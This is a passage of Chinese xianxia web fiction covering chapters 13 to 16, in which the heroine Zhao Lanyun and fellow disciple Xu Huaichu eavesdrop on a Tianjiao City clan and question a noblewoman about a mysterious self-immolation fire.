“因为,”徐怀初喉咙好像被什么哽住了,口中‘因为’半天才吐出下一句,“因为我想和师妹一样挑战自我。”
“哦,那祝师兄成功。”朝揽云一时之间不知该如何回答,只得干巴巴说道。
她听得徐怀初噗嗤一笑,突然很开心似的说道:“愿如师妹所言。”
“师妹可以叫我怀初。”
冷不丁地,他又一鼓作气这么说道。
奇怪的人,他看过来的眼神…
朝揽云看着他透彻的黑眸,正像天空映下水波,这般眸子。这般神色,总觉得似曾相识,在哪里看过?
“哦。”朝揽云敷衍应到,“感谢怀初师兄。”
“可以叫你揽云吗?”
朝揽云思考着,打量了他一眼。金鳞姑姑过往传授的经验霎时间一股脑回荡起来。
“不会应对他人的好意,不知道怎么判断别人说话的含义啊。没关系,我教你啊。”
她凌厉黑眸满载志得意满。
“提出要求的可以分两类,一类我记得你常遇到吧,如果只是想叫你亲昵的名字,看你自己想法。”
“就像凉凉、鼓豆她们一样?我觉得无所谓,名字只是个称呼。”
那时年方九岁,刚被金鳞捡回这个旅舍不久的朝揽云回答道。
她的头发因为不久前一次危机被烧毁大半,被颂九昭用了心思,红发带扎了个漂亮的马尾,正因为与他人的交际向旅舍众人求助。
一直维持着幼年化形的小妖凉凉、鼓豆也在旁边一人一边抱着她的手臂,跟着听着。
虽然时过荏苒,旅舍里大家的回答很多,但朝揽云也只记得了金鳞这个最符合自己看法的回答。
“其他的,”金鳞的声音提高,志气昂扬,“只要打就好了,打不走的都可以成为朋友!”
所以金鳞姑姑就是这样加入观星旅舍的啊。
朝揽云温和笑道:“当然可以啊,怀初师兄。”
后面的人来得慢,朝揽云就和徐怀初随
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意找了个树坐着聊天。
这里没有大人,朝揽云随意没有正形地躺在了身后树干上,树干是圆的,的确不怎么好躺,但谁让这恣意潇洒呢。
“揽云是八岁时就去宗门外了吗?”
徐怀初坐在另一根树枝上,朝揽云懒于投目,微敛双眸随意应答。
“是啊,跟着不方师祖。哦,也就是衍尘师祖。”
“那位师祖应当是后来加入太初宗的吧,”徐怀初因着朝揽云没有看向他,神色不再遮掩,复杂了起来,“项宗主他们为什么会放心让他带你离开,他无论如何都照顾不好一个八岁孩子的吧。”
“是因为那时候只有他最不惹人注意吗。”他喃喃道。
朝揽云听着他的话隐约感到了他知道什么自己不知道的事情。
“毕竟是不方师祖啊,不过我也历练了很多,至今同龄之中还未曾遇到一敌。可惜也不知传说中那可搬山倒海悬天地之神通,谁可企及。”
她微叹一声,没有选择去打听来自一个只见过寥寥几面的人的信息。
徐怀初的眼睫遮住了他的红痣。
“揽云,来人了。”
身后森林之处传来了脚步声。
“我先走了。”
朝揽云站起身准备去找自己的宗门。
“揽云,”徐怀初念她名字的语气还有些生疏,声调很重,他在朝揽云离开之前开口道,“九龙山再见。”
“九龙山再见。”
朝揽云身影很快离去。
树丛茂密,朝揽云折返在其中寻找着宗门的影踪。
“这里好多树啊,我们那里怎么没有这么多树。”
一声熟悉的声音传进她耳朵里。
朝揽云向前方青衣的人群聚集处望了一眼立马跃了下去。
跃下去时并没有像以往一样溅起飞扬的尘土,朝揽云踩在了软软的草地上,相比东境的尘土地冲力很轻并不硌脚。
“这都不知道,”朝揽云看着被她吓了一跳的师青柏扬了扬眉头摊手回答道,“我们那里当年是异变怪物爆发的主战场,血染红了土壤不就带走绿色了吗。”
她回答的很文气,这让师青柏愣了一下才反应过来这是说怪物的血液使土壤不生绿植。
“异变的怪物是什么?”
“果然没好好听课啊,”朝揽云伸出手轻敲了下她额头,“躲懒去了吗?”
师青柏身旁像是刚相识的粉色衣裙姑娘看了过来,她别过头去噗嗤一笑。
有朋友了啊,朝揽云心中暗思,作为一位合格的照顾者,要给孩子留出适当的空间!
“异变的怪物就是我们身边的动植物变的,突然有一天就开始袭击我们了,”她声音很轻,不着地一样,“然后就都是血了。”
朝揽云没有告诉她,妖也会异变,还有人。
师祖以为她忘了。
“师兄姐他们一直管他们叫魔物。”
师青柏鬼迷心窍般的凑近了些。
“还有呢?师姐你见多识广,多给我讲讲吧。”
“魔物?他们可不是魔物,魔物其实和妖一样也是一种生物。”
“噗嗤”一笑,她的额头被指尖点了点。
朝揽云翘了翘嘴角,正当师青柏以为她同意了时。她抱臂转身,随意挥了挥手,就走向了师长那边。
朝揽云手指向旁边一摆,扔下了一句留着长长尾音的话。
“免谈,让你上课不好好听课。”
14. 第 14 章
“师姐!”
青怜被一群人团团包围,笑语嫣嫣,“我记得上一次九龙朝巅会也是师姐随队的吧。有什么好玩的店铺吗?听说不远处的天骄城奇珍很多啊。”
朝揽云顿步片刻,看着那繁闹的景象,本想近身却一时之间不知该如何自处。她脚步微顿,看着青怜灿烂的笑意,转身走向了宗主所在树下。
“没有呀,天骄城离九龙山其实有几百丈远的,并不算近。”
“那我们可以御剑去啊!我记得师姐御剑成绩很好的,可以带我们去吗?刚好师姐最近都在和那个回来的弟子一起,都忽略我们了。”
“明明我们才是和师姐最好的吧。”
原来她已经会御剑了啊。朝揽云若有所思慢半拍想道,好像做了蠢事呢。
“可以啊。”青怜的回答明显避重就轻,是在否认什么呢?
“果然青怜师姐是最贴心的。”
有给到她什么交换吗?对那无处躲藏的热情,可怜她怜悯一个友人尽亡的人了。没有造成什么损失,真是太好了。
朝揽云无措想道,如此无用,拘泥于言语。没有足够的交换期盼他人,我不当妨碍,扰了她多少清净。
“没有足够的防御力量却在乎他人,果然还是让她这般一直不明白感情比较好吧。”
“又遇到了弄不明白的事情了,忘了吧。这是唯一的办法了。”
她叹了口气无奈转头。
眼前树荫浓密之处宗主正在树荫下看着前方,直到如今也没有见到师祖的身影。只有在舟上那一面。
“懒云,脸色怎么这么差?”宗主很快注意到了她,回首招呼了起来。
“可能是跑太久了吧。”她扯着尽量温和的表情笑了起来。
懒云,青怜若有所思地转头看了一眼,但很快又被叽叽喳喳的谈论声淹没在她眼眶里。
朝揽云拿不准宗主会是什么态度,在舟上时心血来潮便跳了下去,甚至没有交代几声,几近忘记自己早已回宗,需要遵守规则了。
她不免有些后悔,做出出格事想必要接受惩罚了。
朝揽云努力拿出她锻炼的并不好的所有情感和待人接物来应对太初宗的一切。虽然好似搞砸了,技巧太笨拙了。
她的神色黯淡,躲避着与宗主对视。
“见过徐怀初了?”
相视无言几度冷场之后,宗主突然这般问道。
朝揽云惊惧抬起眼。
“不用担心,只是以经验论知,徐狐狸教出了一个颇为古板的小家伙,他知道你一个人参加蝮蛇赛之后一定会去找你的。”
宗主看出了她的惊吓连忙解释。
朝揽云沉默着,行踪泄露这种情况在山下时是能致人死命的,她需要努力控制心底的烦躁。
“他的确来找我了。宗主应当也知道他提出了什么吧。”
“随他去吧。”宗主笑笑。
“我不赞成蝮蛇赛把他折上,他死在那里的话,东洲就又少了个战力。”
“哦?”宗主捋着胡子哈哈大笑,“看来是对徐家那小子信心不足啊。也对,毕竟被衍尘带着游历,你一定经历了不少生死磨难,自然看不上生在象牙塔中的弟子们了。”
朝揽云没有说话。
宗主看着她的模样也无奈地止住了笑。
“衍尘师祖在天骄城有什么过往吗?”
半晌,她突然冷不丁问。
宗主被这一问吓了一跳。
“衍尘啊,又是从徐家小子那里得到的消息吧。”他叹了口气,“衍尘本名不方长安,在我们宗作为驻宗长老,名号衍尘。”
“若要说他有什么,也就是十年前被天骄城通缉了。后来,”他看向朝揽云,神色恍惚,“就莫名改邪归正,加入我们太初宗了。”
“没有了?”
“没有了。”
“哦。”朝揽云点了点头就要走。
“不追问吗?”
宗主颇为不适应。
“问了宗主会说吗?”朝揽云回头看了他一眼,“如果不是我能知道的,我不问。”
莫名,师祖加入太初宗的理由一定有什么,朝揽云想着宗主那恍惚的神色,这个理由一定很重要。
“衍尘果然是不会养孩子啊。”看着朝揽云独自走到没有人的地方默默跟着队伍走,宗主遥遥叹了一口气,这才赞成了萧驷不久前的反馈。
有些后悔把懒云交给他了啊。
“罢了,多跟年轻人接触接触应该会好的。”他自嘲笑了笑,“老了,边境不能再暴动了。”
……
“徐怀初?”
推开九龙山安排竹舍的门,在跟着宗主长老们顶着毫无遮挡的太阳,毫无气力地走完一系列应酬的流程后,朝揽云有气无力走入房间。
根据外面看到的排布,竹舍小楼环绕着一棵巨树而建,而如果要看到那颗绿树。
朝揽云迈步向对门的横窗,将剑放到床边的茶桌上,随手将窗户推开。
映入眼帘的除了满眼绿意,还有一个慵懒躺在树杈上的少年。
“揽云,”他翻身坐起,满目笑如见璀璨清阳,“许久不见。”
“不过几个时辰。”
朝揽云看着凑上前来的徐怀初退回了一步,她的手在窗边的茶桌上,伴着警惕无序地敲着。
青绿色泛淡金的阳光从窗口透出来,照着淡黄的的竹墙,映着它上面的些许斑驳。
“揽云,”他敲了敲窗楹,同样不过几个时辰,他已将朝揽云的名字说的无比顺口,格外唠叨地声声叫着。
他的声音清疏舒和,朝揽云莫名感觉他嘴里说出的自己名字还挺悦耳,“我可以进来吗?”
朝揽云瞥了他一眼,看着惟有对面开着的窗户问道:“那是你的屋子?”
“对。”徐怀初点了点头,脸上始终挂着温煦笑容,一只手捉着窗户上沿稳住身体。
“进来吧。”
朝揽云退后了一步,看着他轻巧跳了进来,旁边的绿植和桌上的茶碗全无一丝波动。
的确可以高看一眼。
她判断道。
徐怀初脚还未落,窗外便传来了噗通一声巨响。
“要下去看一下吗?”
看着第一反应看向自己的朝揽云,徐怀初神情无辜,摊手笑道。
朝揽云便轻乜他一眼,飞身越过,按住窗棂跳了下去。
待扑净裤角沾上的尘土时,徐怀初也拿着她的黑剑跳了下来。
“黑水寨几十余人性命你敢说不是你的错?天地尚未分割之时,你可记你家先祖长安军持枪守在此界!而如今,狷介小儿不肖祖也!”
“认识吗?”
穿过几从矮木,吵架的小屋附近也有一颗巨树,俯身潜过去后,朝揽云回头看向徐怀初轻声询问。
徐怀初探了下头看向那吵架的屋内,他摇了摇头,“只能根据衣着看出是天骄城附近的人,还有可能是其中的氏族。”
天骄城的人,朝揽云点了点头,继续探出头去,去试图看到争吵两人的模样。
“肖祖?别告诉我你不知
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道为什么我们自成一界。我们是被上下两界扔下的弃子!上面的人成仙自在,下面的人为皇自尊,只有我们!每年还要送数不清的人去边界送死!”
“现在,”那个人的声音颤抖着,“你还要我去天骄城——那群逃跑者卑劣者的遗老组成的城池,去遵循他们的命令?”
“在我看来我先祖做的最错的一点就是,在那时的争权中选择了天骄城。”
他似乎没有力气了一样,声音突然变得很低。
哦!朝揽云目光亮了亮,真有趣,万年前的政治斗争啊。这个时间度量,是修仙世家吧。
吵架的屋内目光明灭。
他们,不放隔音法阵吗?
朝揽云后知后觉,掐诀附在自己和徐怀初身上隔离了灵力和气息。
像个陷阱一样。
小心使得万年船吧。
正想着,身后的徐怀初敲了敲她。
怎么了?她用不耐的神色瞥了他一眼。
徐怀初晃了晃他手中那面镜子,镜子中正呈现着三个人对坐的场景。
麓影蚀?朝揽云快速扫过视野里每一分可藏石处,看向不知何时被他放到吵架人对面的麓影蚀。
的确小看他了。
她回头对徐怀初扬了下眉头表示嘉奖,便凑了过去跟着看。
“即使如此你也不该弃黑水寨那几十余人性名于不顾!”
头发半灰半白,规整挽髻的老年女子正恨恨地盯着一开始作声的竹色布衣男子,“再如何不该,那也是几十条活生生的生命!”
“我没有!”竹色布衣男子面色崩溃,捂着额头,“我没有,我只是被他们赶出去给他们找食物打猎,回来就看见他们身上都是火,水扑不灭,土也扑不灭。”
火浸,朝揽云随意抓住了手畔一处布料,嘴角动了动,与徐怀初对视了一眼。
“两位。”
不知何时,她们头顶的树枝动了动。
“两位?听够了吗?”戴着黑色金甲面具的男人开口。
朝揽云抬起头才见不知何时凑过来跟着看铜镜的男子蹲在上方的树枝上,饶有兴味地看着两人。
“你们两个倒有些本事,如果不是我一开始就在这里值守,还真不一定会发现你们。”
一开始就在,朝揽云抬起头,看来他的敛息术修炼的不是一般好啊,比以前那些来暗杀的人还强。
朝揽云站起身正要开口,就看见徐怀初向前一个身位,拱了拱手道:“是我的错,窃听他人话语,还望这位师兄带我去赔罪。”
这是要自己都担下来,朝揽云心中好像什么都没想,只是一时之间愣住了,竟然有人快自己一步去担过错,这种感觉真是新奇。
“我们了解一些那人所说火灾的事情,我亲眼见过,可以给你们提供线索。我猜的没错的话,里面有一位重要的人还在忍耐那个人的吵闹吧,这件事很重要吧。”
朝揽云并不愿欠下人情,她更喜欢拯救他人。她捉住他衣袖向后扯去,看着点头示意自己继续说的面具人,整了整自己衣袖开口笑道。
“不过要给我一些时间回想,毕竟我前半生重要的人,多半都死在里面了。一时之间也没法把遗忘的记忆都回思出来。”
天骄城啊,她颇为惆怅地想道,金鳞姑姑出身的地方。根据金鳞姑姑所说,他们心狠手辣,如果惹上他们,在自身无法胜过的情况,要抛出所有可以让自己活下来的利益,并留下余地。
好倒霉。
她漠视周围突然出现的大片面具人,温和笑着。
15. 第 15 章
“懒云!”
团团围绕面具人之外一声惊叫声传来,一时之间所有人回过头去。朝揽云站在台阶上低眸歪头,眼中出现了一抹皎艳色彩。
黑色金甲面具人入屋与三人交流过后,便回身带朝揽云、徐怀初两人前往屋中。但始料未及,偏僻的院落来的不止两位不速之客。
青怜,朝揽云循音望去。眸光落下,她发髻上还在簪着那桃花枝。阳光下,花瓣闪烁着温润又有些耀眼的光。
青怜怎么来了?
她扫了一圈周围,思虑着,牙关紧咬。包围着的面具人一动不动却都在盯着青怜。
不能让青怜一个人回去或者逃开,她想,只能带上了。
“这位壮士。”她脸上带着温和有些讨好的笑,有些脱水似的,扭过头去与面具男人交涉,“我再带一个师妹没关系的吧。”
徐怀初也移回了目光,他思考着朝揽云师妹恰好找到这里的原因。
“对啊。”他笑了笑跟着帮腔,“不过是一个小姑娘,你们不会害怕吧。”
面具男人没有做声。
最后一个——屋里一直没有说话的中年贵重女人出了声,她的妆饰雍容华贵,头上宝簪数十参差,红玛瑙反射着光芒,声音温软却又不失威严。
她的声音传到了屋外。
“当然没关系,你帮我们解决了这个问题,可就是我们家的座上宾了。只是你的师妹是怎么找到这里的呢?”
她的眼眸还在笑着,朝揽云却早已无暇顾及。
“青怜,”朝揽云连忙转身奔去,紧紧抓住了青怜的手腕,带着她回到了台阶上,回到了一直等着她的徐怀初身侧,焦躁地一起步向屋中。
她无法保证自己一定能保护青怜。
“懒云,出什么事了?”
青怜敏锐地感到了严肃的气息,她有些凝重地看向屋子里。
“没什么,不用担心。”
青怜貌似很是担忧,但见气氛不对,她们如此严肃模样也便沉言默语。
屋子里富丽堂皇,是从外面看不出的华丽,朝揽云评判不出究竟如此华丽,只能说精致,每处屋檐、柜角上都被细致精巧地雕刻上了纹路,而在其中,最中间坐的就是那个鬓如云烟的中年贵妇人。
“你…!你是?”
“项…,项云烟?”
三人进去时,竹色布衣男子的惊叫声就传出了,他紧紧盯着青怜。
“项云烟?”
“……”
老人和贵妇人目光慢慢略过,但很快也是惊讶地停留在青怜身上。
朝揽云警惕地把青怜护在身后了,她伸手,随时准备着接过对方的攻击。徐怀初听到男子的惊叫声后便目光一凌,回头望向青怜。
他见朝揽云如此警惕便也移动身位,护在了朝揽云顾及不到的地方。
“这位师兄是何意思?”
徐怀初扬声发问。
“我们可没有准备把事情闹大,还请师兄也不要过分!”
“东洲,果然是东洲,你们是东洲来的人。果然,我就说,怪不得天骄城处处传‘东洲多出痴情种,桃花冢里薄情鬼。’桃花冢果然来斩负心人了。可惜,你来晚了!你来晚了!他早就死了,项云烟!”
那男子神情激动地快步冲了过来,却被朝揽云用剑鞘挑了回去。
“你这张嘴若只会胡言乱语我不介意斩了去。”她眼神冷漠,浑身都是杀过人的血气。她的确杀过人。男子的眼中流露出一丝忌惮。
青怜本想使出术法防御,但见朝揽云这般模样便安心地站在了她身后,看着那个与她对视的老人。
“各位不用慌张。”老人巧言善语,按住了还在不断扑腾的男人,她看着三人笑道,“他自从看到黑水寨那群人自焚过后就一直疯疯癫癫的。各位把他无视就好了。”
朝揽云未置一词,冷淡地看着面前之人,没有收起警惕。
徐怀初见此便与她对视一眼,确认了她的意思,上前接过了老人的话头。
“黑水寨?可否详细说明我们方才听闻之自焚之言。”
老人笑了笑看向他叹声回答:“黑水寨是是天骄城外魏氏的驻地。”停顿一下,她瞥了青怜一眼摇了摇头继续道,“不出所料,大概就是这位小姐父亲的氏族。”
朝揽云听此一愣。
八年前,青怜刚到太初宗时就传说她是宗主妹妹在天骄城被骗所生,她的出生害死了她母亲。
传说中她生有癔症,性格偏执,杀死父亲,亦克得母亲貌若疯狂,消失不见。
也正因此,那时的孩子都不愿去接触她。
所以,青怜被送到后山,与朝揽云作伴,几近隔离一切,每天只能看到青月长老或者柳栁来这里授课。
“小姐实在肖母,风姿灼华,让老身一眼就认出了那几十年前美貌冠绝天骄城的五官。想当初小姐周岁时,老身还去抱过你呢。”
老人无视朝揽云与徐怀初难看的神色继续说道。
朝揽云一剑使出,被那黑色金甲面具人拦下了。
“太急躁了,”他声音中带着笑声评点道,“只被只言片语就激怒了。”
两相角力之间,青怜的脸色变差,她紧紧依偎在朝揽云身上,面前恍惚浮现出了深藏在她脑海里的多年记忆。
“她是你的孩子!你要抛弃她去哪里?”
“我的孩子?我的孩子多了去了,就算她死了又能如何?”
“我当初就不该信你的承诺!”
一直在吵,不管到了哪里都是被抛弃的人。
朝揽云还在紧紧揽住她,她抬头看着一手还在持剑角力的朝揽云。
师姐,你说就连唯一温暖的人也在半路就离开了,我是不是该讨厌你。
为什么要离我而去呢,八岁那年不告而别。
所以讨厌你,也很正常吧。
讨厌她,讨厌她,竟然连我是谁也可以忘记。
讨厌她。
她低下了头,不敢去看朝揽云的侧脸,她的手臂紧紧抱住了朝揽云。
“我想这与这次事件无关吧,婆婆,不要说什么多余话,我们的确可以对你们现在的困境造成帮助不是吗?”
“不然你们也不会容忍那个人在你们面前大喊大叫了。”
徐怀初目光微冷,趁朝揽云角力之间转换身位,遮住她们看向青怜的目光,毫不犹豫打断道。
面具人禀座椅上贵妇人命令收回武器,朝揽云便也退后一步,在徐怀初身后关怀地环住青怜,但依旧横剑于前,呈保护态,凌厉看向对面。
“而且你的美好回忆,对他人来说可不一定美好,不是吗?”
“婆婆,回来。”那贵妇人见此争执即将闹大,轻唤她回去。
呵,咬人的不叫。
朝揽云环着青怜在心底轻嗤一声,天骄城世族谈话的声音能传出来?谁信,她目光轻扫,果然被算计了。
“东洲来参加朝巅会蝮蛇赛的两位选手,还未向两位拜见呢。说来还要感谢几百年前天骄领袖的汉家家主,让我们此时有此种机会挑战自我。”
徐怀初神色不变,看着退后的老人,执身向前,冷淡却又规矩地告禀道。
“蝮蛇赛。”
贵妇人拿起茶碗的手一顿,她执起茶盖顺着茶碗边缘不急不慢地轻刮浮沫。
“倒是未想到你会提到先祖,我虽早已离家,但即有瞻仰先祖声名之人,还是少不得行个方便的。”
她开始缓和气氛了,朝揽云想道,此时不宜再起冲突了。
“汉家明珠千万,尚存者仅一脉,一长姊留家掌汉家之印,一幼姊离家聚天骄团结盟约。”
等青怜平静下来,环住她腰的手松了些,朝揽云也便不再紧绷,目光透彻扬声开口。
她没有看见青怜松开腰后低垂的目光以及攥紧她腰系的手。
她还在斟酌着话语,试图博弈。
“金鳞姑姑曾对我说,若遇汉家双明珠,可合作可相与。旧时情谊所在,想贵人也不会为难我们的吧。”
贵妇人轻笑一声,直接点破了她们心思。
“一人以鹿渊阁对参赛者的重视和蝮蛇赛进行胁迫,一人以旧时情义晓理动情。”
“晓姑姑,”她看向老人,“这可让我怎办可好?”
“与其说这,”徐怀初拱了拱手,“贵人不如查查是谁出了差错,让我们在隔了一棵树上的房间里还可以听到你们这里的争吵。或者,我们都被算计了也说不定。”
此话刚落,房间里静默片刻,除了她们以外所有人一时之间都屏住呼吸。
所有面具人的身姿都在此话后一瞬间板正起来。
“我会查的。”贵妇人貌似脾气很好地眯了眯眸,随后又看向了朝揽云。
“既然你以旧时情谊相胁,那又可知我们是何关系?金鳞又是何身份?”
“贵人想说的那些,我一概不知,”朝揽云看着她淡定道,“金鳞姑姑与以前一切早已不生牵扯,也只不过在提到九龙朝巅会时说过几句汉家明珠可惜蒙尘。”
“汉家明珠,蒙尘。真是,”她手中茶碗被攥紧,面上却始终不变,轻嘲道,“就连她那样的人也会为人筹谋了啊。”
她扶了扶头上发簪,对着桌上铜镜观察起了自己的些微白发。
老人见状又退开了些许,规矩地等待着她的下一步命令。
“都坐吧,几位。来者都是客。”
待回首,铜镜盈盈,青丝葳蕤,她将葱指落下,长叹敛眸。
几个面具人走过来将那不敢再做声的男子拽到屋畔的椅子上。
徐怀初和朝揽云也默契地坐在了两边隔绝了她和青怜的接触通道。
贵妇人看着,一时不由觉得好笑。
而青怜虽已平静下来却一直握住朝揽云的手不肯松开。朝揽云便搬过贵妇人对面的椅子,让她和自己坐在一起。
小小的四方桌一时之间静默无言。
贵妇人看着她颇为细心地顾及着青怜,面露怀念,她沉默片刻便转头看向了徐怀初。
“千仞宗的?我之前见过你,你家老祖把你寄养在天骄城时。不想竟会今天再次见到你。”
徐怀初弯着的嘴角平了片刻,又笑了起来。
“天骄城人杰地灵,还要多谢那时大家的照料。”
他一字一句回答道,面上毫无阴翳,声音温和清朗。
天骄城,朝揽云在一旁沉思道,万年前因百余位天
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骄在城中慷慨设宴饮酒、奔赴边境而改名的天骄城。为何会与这么多人有联系。
师祖、金鳞姑姑、青怜、徐怀初,这几人都与天骄城有关。天骄城,世家的中心。
对了!火浸,她们谈论的黑水寨火浸,和旅舍着的那场火一样。是线索,可是为什么此时甚至不敢开口呢。
她的手指往掌心攥了攥。
“既然如此,现在可不可以跟我们说黑水寨的事情了?贵人一开始叫我们就是为此吧。自焚这件事处理不好,贵人的威望会降低吧。”
朝揽云感觉青怜扯了扯她的袖子,她转过头去,青怜正摇着头示意自己的不赞成。
朝揽云无奈地扯了扯嘴角权当安抚她,随后继续回头紧接着发问。
“这件事情的前因后果,自焚的模样,我都要知道。”
天骄城汉家幼姊,善筹谋利权衡,这件事对她有利,她会答应的。
朝揽云眸子里带着笃定。
“你还真是把自己当主人了啊。”贵妇人轻笑一声。
“不过,当然,我会告诉你的。”她打量她片刻,头上珠钗晃动,噗嗤一声笑了,“你和金鳞有些像,但她从来不会这么客气说话。”
“我知道。我是她捡回去的。”
贵妇人面色沉了片刻。
“黑水寨是姚氏的一个附属宗族,驻扎在天骄城西数百余里,岁前因不远处爆发了一场异变,他们就求着上面换个地方驻扎。”
这般说着,她眼中多少透出来了些蔑视。
“千百年前还能在边境骁勇善战的部族如今如此懦弱,恰好附近有人求我给她孩子找个值,我就把他派去了,谁知他如此不得力,遇见事情第一步竟是逃窜。”
“只带回来属于自焚的恐慌。”
那不敢做声的男子脸带不服,却还是低着头接受了她的嘲笑。
“看看吧,这位金鳞的后辈,权势就是起到这个作用的,她偏偏还不要。”
“抛下一切离开的感觉,如何呢?”
笑着笑着,她敲了敲茶碗,盯着茶水漫起的波纹,伸手去拿桌上的小茶壶,往那已是满杯的茶碗中继续倒茶。
朝揽云正思考着其中的联系,听到此言敷衍笑了笑。
贵妇人看她这副模样莫名有些乏了。
她仿佛看到了自己年少时与金鳞一同在茶楼听书,每当她赞同了什么金鳞不认同的观点,金鳞总会敷衍地笑笑。但她会与与长姐提出的意见进行辩驳。
被看着长大就要被敷衍吗?
还是从来没有把自己放在眼里?自己只是长姐的附属品吗?
她眼中的汉家明珠究竟是谁。贵妇人已经不想知道了。
她摆了摆手,发簪上的红玛瑙还倒映在茶碗中的水波中熠熠生辉。
“至于什么自焚,你去问当事人吧,我不过是个管事的,下面人办事的具体细节我也不用知道。”
最大的管事?
徐怀初挑起眉头,还真会避嫌呢。
老人很快根据她的吩咐安排了面具人带着男人去另一个房间,为三人提供询问的空间。
贵妇人颇为倦怠地靠在茶桌上,手指有意无意一直点着铜镜。铜镜背部雕刻玄奇不平,反射的光点不断在屋里跳动着。
“等等。”
待三人起身跟着老人将要走出这个屋子,她突然出声叫住了朝揽云。
“金鳞,她现在在哪?”
她最终还是问到,被烈火煎烧一般的胸口无时无刻不在怂恿她问出来。
幸好,她今天穿一身赤红色衣裙。
“我不知道,”朝揽云回过头来沉默片刻回答,铜镜反射过来窗边的光有些刺目,让她垂下了眸,“约一个月前的观星旅舍火浸之后,我就再没见过任何一位故人,金鳞姑姑当时也在那。”
“我晕了过去。”
贵妇人手一顿。
“火浸?”
“便是自焚,水浇不灭,旅舍也一起着了。”
“按时间,大概是黑水自焚过后不久。”
朝揽云存着让她帮忙查这件事情的心思。
“大概两件事情会有联系的。”
胸口的火焰是挣扎饕鬄,玛瑙、黄金、丝绸、翡翠压上。
“金鳞岂是池中物。”贵妇人瞳孔微晃,轻声颂念,安慰着自己,“你只是没再见过她而已。”
“是吗?”
朝揽云看着她的模样吐了口气,她只手垂下冷淡劳累地无力应答了一声。
如是佛陀应渡我应得之人。
贵妇人站起身来逼近朝揽云。
“你的神色这般平淡,”她努力克制的面容配上珠串乱晃在脸上投下的阴影,显得格外狰狞,“凭何不为她伤心呢?没能让我见到她的人。”
贵妇人珠串琳琅,金玉相撞,铿锵声不断,这些都透过一瞬间冲过来护住她的徐怀初和青怜,遥遥回响在她脑中。
伤心,朝揽云心中默念。
她看着面前一瞬间神色凌厉护在她身前的两人。
朝揽云伸手重新将青怜护住,隔着横剑向前的徐怀初看向她。
“请问?你的伤心是什么呢?”
我似乎,有些不明白。
16. 第 16 章
“请问,槐夫人和我们的选手交流完了吗?”
屋外传来了敲门声打断了屋内紧张的氛围,“可不要为难几个才十五六岁的孩子哦。”
“鹿渊阁相长老,”
贵妇人努力将表情压回平静,扶了扶头上凌乱的发簪抬头看过去,“久闻大名啊。”
门外一位白发黑帽青年人士正倚着门看向屋内,他表情散漫,身边的面具人看起来却都颇为忌惮,离得较远,不敢近其身。
“相长老说笑了,”贵妇人冷静下来,吐了口气,挂上了虚假的微笑,“我汉华怎会为难他人,只是有些事情要询问而已。”
“是吗?那还请槐夫人尽快放他们回选手的房间。”
相长老不知是信还是不信,他只是随意倚在门框,貌似无所谓地说道。
“这是自然。”
见汉华退了几步下来,朝揽云也便循声望去,门畔那相长老如蛇一般微眯双眼看向她挑了挑眉,而后略过。
“走吧,出来惹事生非的几位选手,有什么事都等比赛完再处理,可不要让我再一次来捞你们了。”
他眯着眼从门框上起来,招手说道。
“那便多谢相长老了,以后怕是还要多加麻烦您了。”
徐怀初便向前一步朗声说道,他一直隔在朝揽云和汉华中间,警惕汉华随时可能的再一次情绪失控。
“哦,你这小子,倒是想把我当劳力用。”
相长老随意应付了一声,看着她们离开这个屋子,然后倦倦地跟着她们身后。
回去的路程短短,鹿渊阁的相长老敷衍了一段路程就很快离开。青怜不是斗武的参赛者,到了半路也要回去。
“青怜…”
朝揽云方扬起手要与她告别,便见她伸手向自己的发丝,将自己的发带解开。
“怎么了?”她愣了一下,黑发洒落下来。
是出什么事了吗?
朝揽云的眼眸在面前两个人身上不断来回,想求助得到什么答案,她满眼迷茫。
“懒云的头发在方才争执中有些乱了,我给你重新梳一下。”
青怜脸色沉了一下,便笑笑从储物囊中掏出一把梳子和几个发簪。
“说起来,自懒云离开后我就没给你扎过头发了呢。”
扎头发?为什么扎头发?小时候的事情和现在有什么关系?
“那我重新扎一下就好了。”朝揽云没有思考出什么来,这似乎不是属于她可以解决的问题。
但是她并不喜欢别人在她头上摆弄,于是努力说服青怜,伸手想去够及她手中自己的红发带。
青怜被她拽上的手没有动摇,眼里还笑意潺潺,手中攥住的红发带被风带起了几度波纹。
“好吧。”朝揽云只得无奈地放弃了想法,找了个舒服的方式席地而坐,把脆弱易死的头部脖颈放入她的手下。
“扎吧。”
青怜生气了吗?
看向饶有兴趣凑过去看着青怜的徐怀初,朝揽云试图用眼神表示这个疑问。
徐怀初却只是移开了目光,淡笑着不动。
看来他也不明白。
可恶,她只得闷闷发呆,任青怜摆弄她的头发。
手指穿过黑得发亮的发丝,丝丝凉意透过皮肤触碰让朝揽云感受到。控制住她头部因不适产生的一些移动。
青怜看着手指缝隙中一缕缕的柔滑发丝,神思略有一瞬恍惚。
懒云似乎真的长大了,不是当年那个乖乖被自己打扮的小时候了,为什么不能一直如这发丝一般被掌控着呢?
她走神想着。
“发型不错。”
看着被梳完头发站起来的朝揽云,徐怀初眼前一亮,“但是和你形象不太符合。”
叽里咕噜的发簪晃着。
朝揽云不太在乎地试探着头上那被加了不少发簪的发髻的重量。
“有些重。”她评点道,“发簪叽哩哐啷的,不好辨风听位。”
青怜有些怔愣地看着那离开了她手下的头颅,脸带惆怅。
“怎么了?”朝揽云回过头来,凑过来问道,她见青怜神色不对正揣摩着她因何生气。
青怜低下眸看着规整发髻的朝揽云,她的耳畔被她插上了朵桃花,是她在自己房间附近发现的,发现了就来找她分享的桃花。
没想到来时,她的身边又有了个人。
“师姐明天会去找我吗?”
朝揽云很疑惑,她不明白她怎么了。她的眸光很奇怪,神色很奇怪,但是她还是高兴地答应了。
“好啊,我去找你。”
“是吗。”青怜盯着朝揽云看了一会,突然松快地轻笑一声,低下头,仔细地将在梳发时缠到手腕上的红发带一圈圈缠到她手腕上,而后又一圈圈将自己的手腕从红发带中缠出。
朝揽云手腕上的红发带松松紧紧地缠着,一段刚从青怜手腕解下,长长垂落着。
青怜看着那红带吐了口气。
“那懒云,”她转身扬了扬手,“我先走了。”
“你们一直这么相处的吗?”
待朝揽云回过头去时,徐怀初只用有些犹豫和疑虑的表情看着她。
“怎么了?”朝揽云没有回答,只是歪头疑问。
“没什么,只是,”徐怀初犹豫一会而后道,“要一起回去吗?”
“我还要去观战那边照顾一下一个师妹,你先回去吧。”
“你要注意的人真多啊。”
徐怀初只得摊了摊手,颇为无奈地转身上楼去了。
他在楼上看着她离去时,手腕上长长地蜿蜒出一道红,她一面走着一面缠啊缠,将那红带抛掷着作弄着,完整缠到手臂上。
“作茧自缚。”
